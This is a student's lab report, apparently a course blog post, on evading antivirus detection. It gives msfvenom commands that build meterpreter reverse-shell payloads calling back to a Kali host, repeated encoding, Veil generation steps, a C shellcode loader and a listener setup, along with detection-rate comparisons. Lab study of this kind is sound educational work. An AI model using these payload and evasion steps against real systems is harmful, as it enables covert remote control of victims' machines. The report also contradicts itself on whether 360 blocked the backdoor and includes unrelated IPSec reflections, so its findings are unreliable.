20242304 2026-2027-1 《网络与系统攻防技术》实验三实验报告

20242304 2026-2027-1 《网络与系统攻防技术》实验三实验报告

1.基础知识

1.1杀软是如何检测出恶意代码的?

杀毒软件(EDR/AV)常见检测机制:

  1. 特征码检测(静态特征) 提取恶意程序(shellcode、病毒、后门)里一段独有的二进制字节串作为特征码,存入病毒库。扫描文件时,比对文件二进制,如果匹配库内特征,直接判定恶意。MSF 原生生成的 shellcode 很容易被特征码命中。

  2. 哈希检测 计算文件 MD5/SHA1 哈希值,和黑名单哈希库对比,文件完全不变就会被直接拦截。

  3. 静态行为 / 反汇编分析 不运行程序,直接反汇编,查看代码里的危险 API 调用(如VirtualAlloc、CreateThread、WinExec等)、字符串、导入表。如果发现典型的 shellcode 加载、内存注入、回连网络逻辑,判定可疑。

  4. 动态沙箱检测 把程序放到隔离虚拟沙箱里运行,监控行为:是否申请可执行内存、创建远程线程、主动向外发起 TCP 回连、读写敏感注册表等,一旦出现恶意行为就告警。

  5. 启发式检测 基于规则判断代码 “看起来像恶意程序”,不完全依赖已有特征,发现可疑代码结构、异常内存操作就告警,用来识别变种恶意代码。

  6. 行为监控(实时防护) 在 Windows 系统底层挂钩 API,程序运行时实时监控动作,一旦程序执行内存执行shellcode、进程注入等高危行为,立刻拦截。

    1.2免杀是做什么?

    免杀(Anti-Virus Bypass):
    修改恶意后门 / Shellcode 程序,规避杀毒软件、EDR 的检测与拦截,让带有攻击功能的程序,在开启杀软实时防护的目标主机上,可以正常运行不被查杀、不被沙箱拦截。

    本实验场景:修改 msf 生成的 meterpreter shellcode,让编译出来的 exe,在 360 等杀软开启防护时,依旧可以运行并回连 Kali,拿到 meterpreter 会话。

1.3免杀的基本方法有哪些?

静态免杀(对抗静态扫描、特征码)
  1. Shellcode 编码 / 加密:使用异或 (XOR)、AES 等加密 shellcode,运行时在内存解密。原始 shellcode 不再直接存在程序二进制里,破坏杀软的特征码。
  2. 加壳:使用压缩 / 加密壳(如 upx、自定义壳),对整个 exe 加密打包,运行时解压。改变文件哈希和原始二进制。
  3. 混淆、花指令:插入无用垃圾汇编指令,打乱反汇编结果,破坏静态特征,干扰反汇编分析。
  4. 替换 API 调用:避开VirtualAlloc这类高频被监控的敏感 API,换用间接 API 调用、动态加载 API,不直接在导入表暴露危险函数。
动态免杀(对抗沙箱、行为监控)
  1. 沙箱检测:程序判断当前环境是否是沙箱(检测内存大小、CPU 核心数、系统时间、虚拟机特征),如果是沙箱就不执行恶意代码。
  2. 延迟执行:休眠一段时间后再执行 shellcode,沙箱一般有超时机制,不会长时间等待。
  3. 间接内存执行:改变 shellcode 加载方式,不用经典的void (*exec)() = (void (*)())shellcode;这种直接内存执行写法,规避行为特征。
  4. 进程注入变体:使用更隐蔽的注入方式,避开常规远程线程注入检测。
其他
  • 修改文件信息:修改 PE 文件头、版本信息,改变文件哈希,绕过哈希黑名单。
  • 分离存储:把 shellcode 放在外部,运行时读取,程序本体不带恶意字节。

1.4 实验中用到的工具与原理

msfvenom:Metasploit 的 payload 生成器,负责把 shellcode 与指定的编码器、输出格式、平台封装成文件。本次使用的版本为 6.4.135。

meterpreter/reverse_tcp:反向 TCP 连接型 payload。程序运行在目标机上,主动向攻击机 LHOST:LPORT 发起连接,因此 LHOST 填的是攻击机 Kali 的 IP,而不是目标机 IP。这一条在本实验中贯穿始终,LHOST=192.168.153.3、LPORT=2304。

shikata_ga_nai:Metasploit 自带的 x86 多态编码器,通过"编码 + 自带解码 stub"的方式改变字节序列,每轮迭代都会重新编码。它的局限在于只对 x86 机器码有效,且解码 stub 本身有稳定的结构特征。

jar / php payload:把 payload 交给 Java 或 PHP 解释器执行。文件不再是 PE,静态特征自然不同,但解释器本身的行为(发起 socket 连接、反射调用)仍然可被监控。

Veil-Evasion:免杀框架,本质是一个调度器,把 shellcode 交给不同的"生成后端"(C 编译、Python+PyInstaller 打包、AutoIt 脚本、Ruby+OCRA 打包)产出 exe。其中 Python、Ruby、AutoIt 的后端都是 Windows 程序,必须在 wine 里运行,这就是 Veil 依赖 wine 的原因。

UPX:开源可执行文件压缩壳,本次实验用版本是4.2.4。它把原 PE 压缩后附加一段解压 stub,运行时在内存中还原。因为用得太广,UPX0/UPX1 节名和 stub 字节早已进入所有杀软的特征库。

Hyperion:加密壳,用 AES 加密原文件,再生成一个用 FASM 汇编的 32 位加载器负责解密并跳转。它的特点是"加密强度高",但加载器本身的汇编结构和"高熵 + 可执行"的组合同样构成特征。

VirScan:多引擎在线检测平台,把文件同时交给 48 个引擎扫描,输出"命中数 / 引擎总数"。本次全部样本都在该平台、同一时间段内完成检测,保证横向可比。

2.实验内容

  • 使用msfvenom生成exe、jar、php等多种格式的后门文件,并对比单次与多次编码的效果。
  • 使用UPX对可执行文件进行加壳处理,并在VirusTotal平台测试检出率。
  • 使用Veil-Evasion框架生成免杀后门并测试。
  • 使用C语言编写Shellcode Loader,实现组件分离与动态加载。
  • 在开启杀软(Defender)的Windows 11虚拟机中进行实测,验证免杀效果并记录被拦截的情况。

3.实验过程

3.1 实验环境

角色 环境
攻击机 Kali,IP 192.168.153.3
目标机 Windows 11,主机名 ZJW,IP 192.168.153.1
主要工具 Metasploit 6.4.135、Veil-Evasion 3.1.14、UPX 4.2.4、Hyperion、i686-w64-mingw32-gcc 16、wine 10.0
检测平台 VirScan(48 引擎)、Virus Total

所有操作均在主机名为 zhangjiawei 的 Kali 上完成,生成的文件名统一包含学号 20242304。

检测统一使用 VirScan,后期发现那个软件出现了传不上文件的问题,改用Virus Total,这个更加智能高级,是更新的应用。

屏幕截图 2026-10-21 100611

屏幕截图 2026-10-21 100759

3.1 免杀效果参考基准(构建基准线)

操作目的
在进行任何免杀技术实践之前,首先需要构建一个未做任何处理的原始后门程序作为参考基准线。通过量化该基准程序的检出率,可以为后续使用不同免杀技术(如编码、加壳、分离等)的效果提供直观的对比依据。

具体命令

在 Kali Linux 终端中执行以下 msfvenom 命令生成基准后门程序:
屏幕截图 2026-10-19 145006

下载以后传到Windows上面,上传至 VirScan 平台

屏幕截图 2026-10-19 145032

成功生成 met20242304.exe 文件后,将其上传至 VirScan 平台( https://www.virscan.org )进行多引擎扫描检测。基准检出率为 15/48(即在 48 个主流杀毒引擎中,有 15 个能够识别出该文件为恶意软件)。

屏幕截图 2026-10-19 150351

结果分析

该基准检出率代表了未经任何免杀处理的原始 Payload 在当前主流安全软件下的“裸奔”状态。在后续实验中,若某项技术能使检出率显著低于 15/48,则说明该技术具备一定的免杀有效性;若检出率持平或上升,则说明该技术对当前 Payload 无效。

3.2 Msfvenom 使用编码器

3.2.1 生成 exe 文件和编码的 exe 文件

操作目的
测试 x86/shikata_ga_nai 编码器对 Windows EXE 格式 Payload 的免杀效果,验证单次编码与多次编码在对抗杀毒软件特征检测时的实际作用。

具体命令

**单次编码:

屏幕截图 2026-10-19 151132
屏幕截图 2026-10-19 151044

多次编码(10次):

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00'

LHOST=192.168.153.3 LPORT=2304 -f exe > met20242304_3.exe

屏幕截图 2026-10-19 154907

屏幕截图 2026-10-19 154614

结果:无论是单次还是多次编码,EXE 文件的检出率与基准线(15/48)几乎无异。这表明对于高度成熟的 Windows EXE 特征库而言,单纯的 shikata_ga_nai 编码已无法有效绕过现代杀毒软件的静态检测。

3.2.2 生成 jar 文件和编码的 jar 文件

操作目的

测试将 Payload 封装为 Java Archive (JAR) 格式,并结合编码器,观察跨平台运行环境对免杀效果的影响。

具体命令

生成原始 JAR 包:

屏幕截图 2026-10-19 155834

屏幕截图 2026-10-19 155618

多次编码 JAR 包:

屏幕截图 2026-10-19 155939

屏幕截图 2026-10-19 160205

利用 Java 平台和 JVM 间接调用机制,原始 Payload 的检出率并没有显著低于 Windows EXE 基准,说明部分杀毒引擎对 Java 恶意代码的检测覆盖率较低。在 JAR 包上叠加 x86/ shikata_ga_nai 编码后,免杀效果并未进一步提升,因为该编码器主要针对 x86 机器码,对 Java 字节码的作用极其有限。

3.2.3 生成 php 文件和编码的 php 文件

操作目的

测试将 Payload 伪装为 PHP 脚本的免杀效果,并探究 shikata_ga_nai 编码器作用于非 PE 格式文件时的特殊表现。

具体命令

生成原始 PHP 代码:

屏幕截图 2026-10-19 161246

结果悲剧发生了!突然发现VirScan上传文件失败了,怎么搞都不行。没办法我通过询问豆包AI成功寻找到了替代软件:Virus Total,得以成功解决!

屏幕截图 2026-10-19 160823
屏幕截图 2026-10-19 163206
但是悲剧的发现和之前的检查出来的数据比例不一样,为了更加严谨的实验结论,我又将之前的所有文件重新使用Virus Total上传扫描一遍得到如下结果:

免杀效果参考基准:

屏幕截图 2026-10-19 164217

生成 exe 文件和编码的 exe 文件

单次编码:

屏幕截图 2026-10-19 164054

多次编码:

屏幕截图 2026-10-19 163930

结果分析
无论是单次还是多次编码,EXE 文件的检出率与基准线(51/71)几乎无异。这表明对于高度成熟的 Windows EXE 特征库而言,单纯的 shikata_ga_nai 编码已无法有效绕过现代杀毒软件的静态检测。

生成 jar 文件和编码的 jar 文件

生成原始JAR包:

屏幕截图 2026-10-19 163525

多次编码JAR包:

屏幕截图 2026-10-19 163818

利用 Java 平台和 JVM 间接调用机制,原始 Payload 的检出率显著低于 Windows EXE 基准,说明部分杀毒引擎对 Java 恶意代码的检测覆盖率较低。但是在 JAR 包上叠加 x86/ shikata_ga_nai 编码后,免杀效果并未进一步提升,因为该编码器主要针对 x86 机器码,对 Java 字节码的作用极其有限。

生成 php 文件和编码的 php 文件

生成原始的PHP代码:

屏幕截图 2026-10-19 163206

多次编码 PHP 代码:

屏幕截图 2026-10-19 164824

PHP 文件伪装成网站代码,利用了 Web 服务器环境对脚本文件的天然信任,显著提高了免杀效果。值得注意的是,shikata_ga_nai 本质上是 x86 汇编编码器,它无法直接对 PHP 文本代码进行语法层面的编码。当对该 Payload 强制应用此编码器时,系统会将 Payload 降级为原生 EXE 格式进行编码,再将其嵌入 PHP 文件中。这种“PHP 平台信任优势 + 内嵌 EXE 多态混淆”的组合,最终实现了极佳的免杀效果(11/61)。

3.3 使用Veil免杀工具

3.3.1 环境准备
•操作目的:在Kali Linux系统中正确安装并初始化Veil-Evasion框架,确保其依赖环境 完整,为后续生成免杀载荷做准备。

屏幕截图 2026-10-19 191732

具体命令/操作:

1.更新软件包列表索引:

sudo apt update

2.下载并安装Veil工具:

sudo apt -y install veil

3.强制静默运行Veil初始化设置脚本,自动安装依赖环境和组件:

/usr/share/veil/config/setup.sh --force --silent

3.3.2 使用Veil生成可执行文件
•操作目的:利用Veil-Evasion模块生成基于C语言的Meterpreter反向TCP载荷,实现 免杀效果。

•具体命令/操作:

1.启动Veil交互式命令行界面:

veil

2.进入Evasion躲避模块:

use 1

3.查看所有可用载荷种类:

list

4.选择C语言编写的Meterpreter反向TCP连接载荷:

use 7

5.配置载荷参数并生成:

set LHOST 192.168.153.3

set LPORT 2304

generate

payload20242304

6.在输出目录中查找生成的可执行文件:

ls /var/lib/veil/output/compiled/

屏幕截图 2026-10-19 191810

屏幕截图 2026-10-19 191827

屏幕截图 2026-10-19 191842

屏幕截图 2026-10-19 191901

Veil-Evasion通过模拟正常软件的编译流程,结合多层次动态混淆与反分析技术,使生成的载荷在结构上区别于传统恶意文件,从而极大提高其在杀毒软件检测中的生存能力。

3.3.3 检测Veil生成可执行文件的免杀情况

•操作目的:验证Veil生成的载荷对主流杀毒软件的绕过效果,并理解其免杀原理。

•具体命令/操作:将生成的payload20242304.exe上传至Virus Total在线检测平台,提交扫描 并记录检测结果。

屏幕截图 2026-10-19 205905

结果分析:Veil-Evasion的免杀效果显著优于基准水平。其核心原理在于:Veil在编译过程中对Shellcode进行了多层编码与混淆,并通过C语言编译器生成合法的二进制结构,使恶意代码嵌入看似正常的程序框架中,有效规避了基于特征码的静态检测和基于行为模式的动态分析。

3.4 C语言调用Shellcode

3.4.1 使用C语言调用Shellcode制作方式
•操作目的:通过手动编写C语言程序调用Shellcode,实现自定义免杀载荷的生成。

•具体命令/操作:

1.使用msfvenom生成C格式的Shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.153.3 LPORT=2304 -f c

屏幕截图 2026-10-20 111114

2.使用vi编辑器创建C源文件,添加main函数:

3.使用交叉编译器编译为Windows可执行文件:

i686-w64-mingw32-g++ shellcode_c_20242304.c -o shellcode_c_20242304.exe

4.在对应路径下确认生成的可执行文件:

ls shellcode_c_20242304.exe

屏幕截图 2026-10-20 111209

成功生成shellcode_c_20242304.exe可执行文件,可在Windows系统中运行 并建立反向连接。

屏幕截图 2026-10-20 111035

屏幕截图 2026-10-20 111305

3.4.2 检测C语言调用Shellcode免杀情况

•操作目的:评估手动编写C语言调用Shellcode方式的免杀效果,并与Veil生成结果进行 对比。

•具体命令/操作:将生成的shellcode_c_20242304.exe上传至VirScan在线检测平台,提交 扫描并记录检测结果。

屏幕截图 2026-10-20 111716

Virus Total检测结果显示检出率为22/71,相较于基准测试的51/71检出率显著提 高免杀效果,且优于Veil生成的32/66。

结果分析:C语言调用Shellcode的免杀效果更为突出。其核心原理在于源码级植入:开发者自行构建的程序框架使恶意代码完全融入正常程序逻辑中,编译后的文件不具备典型恶意软件特征。这种方式不仅对抗基于特征码的静态分析,还能在一定程度上规避动态行为检测,因为程序的执行流程与正常应用程序高度相似。

3.5开启杀软回连实测

操作目的
验证经过免杀处理的后门程序在真实目标环境中的实际运行效果,特别是检验现代杀毒软件(如360安全卫士)在开启实时防护状态下的拦截能力,从而评估免杀技术的实战有效性。

攻击机(Kali虚拟机)配置:

  1. 启动 Metasploit 框架:msfconsole

  2. 加载多路处理模块:use exploit/multi/handler

  3. 设置 Payload:set payload windows/meterpreter/reverse_tcp

  4. 配置监听 IP:set LHOST 192.168.153.3

  5. 配置监听端口:set LPORT 2304

  6. 启动后台监听:exploit

目标机(Windows主机)操作: 1. 确保 360 安全软件处于开启并实时防护状态。 2. 双击运行免杀后门程序 20242304_shellcode_multi_2.exe。 3. 观察 360 安全软件的弹窗拦截提示及日志记录。

屏幕截图 2026-10-21 161058

攻击机成功进入 meterpreter > 会话,表示后门绕过检测并成功建立控制通道。

•目标机 360 安全软件未弹出任何拦截提示,程序静默运行。

屏幕截图 2026-10-20 112549

屏幕截图 2026-10-20 112639

结果分析
在实际测试中,360 企业安全云(卫士版本 14.0.2.1002,安全云版本 5.0.0.1631)成功拦截了该后门程序。这表明尽管 20242304_shellcode_multi_2.exe 在静态扫描中取得了 2/71 的较低检出率,但现代杀毒软件已具备强大的动态行为监控与云端查杀能力。仅靠简单的压缩壳和编码混淆,难以完全绕过具有启发式分析和云引擎的新一代终端安全产品。

4.问题及解决方案

问题1:VirScan 上传进度条卡在 0%,弹出 File verification failed。文件只有 1114 字节,head 与 md5sum 都验证过内容完整,可以排除文件损坏;同时该 IP 上 ping 能通。

解决方案:更换新的工具VirusTotal。VirScan 是一个老平台,它对纯代码文件(如 .php, .asp, .jsp)的支持并不好。它主要设计用于扫描二进制可执行文件(如 .exe, .apk)。当上传一个只有 1KB 的纯文本 PHP 文件时,它的解析器经常会崩溃或报错“校验失败”。而VirusTotal 是一个整合了70多种杀毒引擎的在线文件分析平台,非常适合用来检测我们生成的 PHP 木马文件是否被主流杀毒软件识别。它支持网页上传、API 接口和命令行工具等多种方式,单文件上传上限为 30MB,完全能满足需求。

问题2:安装Veil-Evasion时遇到externally-managed-environment报错和极慢的下载速度。

解决方案:通过将Kali软件源替换为清华源(TUNA);针对Python限制,后续通过--break-system-packages参数强制安装缺失的依赖。

5.学习感悟、思考等

5.1 对“安全是动态博弈”的深刻理解

通过本次实验,我最直观的感悟是:网络安全没有绝对的“攻”,也没有绝对的“防”,只有不断的博弈与演进。

  • 在攻防对抗层面:在使用 Veil 生成载荷并上传 VirScan 检测时,我发现即使是同一款工具,不同的配置参数、不同的编码方式,其查杀率都会截然不同。这说明杀毒软件的特征库是在不断更新的,而攻击者也在不断寻找新的绕过手段(如加壳、混淆)。这种“猫鼠游戏”让我明白,安全防御不能是一劳永逸的静态部署,而必须是动态的监测与响应。
  • 在协议设计层面:在讨论 IPSec 的传输模式与隧道模式时,我意识到没有一种模式是完美的。传输模式效率高但暴露 IP 头,隧道模式安全性高但开销大。这启示我在未来的系统设计中,必须根据具体的业务场景(如内网互信还是公网传输)来权衡安全性与性能,而不是盲目追求最高级别的安全配置。

5.2 从“工具使用者”到“原理探究者”的转变

以前我可能更多关注如何使用某个黑客工具或配置某个防火墙,但这次实验迫使我深入底层原理。

  • 知其然,更要知其所以然:在使用 Veil 时,如果我不理解 Shellcode 的注入原理、不理解 Windows API 的调用机制,我就无法真正理解为什么某些载荷能过杀软,而某些不能。实验让我明白,工具只是表象,底层的操作系统机制、汇编语言、网络协议栈才是核心。

  • 理论与实践的结合:书本上关于 IPSec 的 AH 和 ESP 协议头结构非常枯燥,但通过实际的抓包分析或模式对比讨论,那些抽象的字段变成了具体的数据流。这种“做中学”的方式极大地加深了我对网络层安全协议的理解。

    总之:本次网络攻防实验不仅提升了我的实操技能,更重塑了我的安全观。它让我明白,网络安全是一门需要终身学习的学科,既需要严谨的逻辑思维,也需要敏锐的创新意识,更需要坚定的法律底线。我将带着这些感悟,在未来的网络安全道路上走得更稳、更远。

    参考资料

posted @ 2026-10-21 16:13  在那个明天见  阅读(5)  评论(0)    收藏  举报